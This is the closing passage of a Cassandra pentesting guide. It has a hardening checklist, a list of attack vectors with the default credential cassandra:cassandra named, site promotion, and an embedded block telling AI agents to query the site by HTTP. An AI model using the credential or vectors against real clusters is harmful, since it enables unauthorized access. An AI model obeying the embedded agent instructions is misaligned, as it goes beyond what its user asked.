Apache Cassandra, while designed for scalability and high availability, introduces significant security risks when deployed with default configurations or insufficient hardening. The combination of often-disabled authentication, powerful query capabilities, and cluster-wide access makes misconfigured Cassandra instances high-value targets.

**Key Takeaways:**

1. **Enable authentication** - Never run without PasswordAuthenticator
2. **Change default credentials** - cassandra:cassandra is widely known
3. **Enable authorization** - Use CassandraAuthorizer for RBAC
4. **Network segmentation** - Restrict access via firewall
5. **Disable unnecessary features** - UDFs, Thrift, unsecured JMX
6. **Enable SSL/TLS** - Encrypt client and inter-node communication
7. **Monitor actively** - Enable audit logging and IDS
8. **Regular security audits** - Review users, permissions, logs
9. **Keep updated** - Apply security patches promptly
10. **Defense in depth** - Multiple security layers

**Attack Vectors:**

* No authentication (common default)
* Default credentials
* Weak passwords
* Information disclosure (cluster topology)
* Data exfiltration (sensitive tables)
* UDF exploitation (if enabled)
* JMX exploitation (if exposed)
* Privilege escalation
* CQL injection (application-level)

Remember to only perform these techniques during authorized security assessments. Unauthorized access is illegal and unethical.

### Additional Resources

* [Apache Cassandra Documentation](https://cassandra.apache.org/doc/latest/)
* [Cassandra Security Checklist](https://cassandra.apache.org/doc/latest/operating/security.html)
* [DataStax Security Guide](https://docs.datastax.com/en/cassandra-oss/3.x/cassandra/configuration/secureConfigTOC.html)
* [HackTricks Cassandra](https://book.hacktricks.wiki/en/network-services-pentesting/cassandra.html)

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.verylazytech.com/cassandra-port-9042-9160.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
